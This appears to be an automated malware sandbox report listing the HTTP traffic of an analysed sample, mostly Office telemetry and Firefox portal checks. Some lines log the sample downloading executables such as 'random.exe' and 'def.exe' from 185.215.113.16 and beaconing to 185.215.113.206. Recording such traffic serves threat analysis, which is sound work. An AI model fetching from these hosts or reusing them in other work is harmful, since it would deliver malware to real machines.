Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
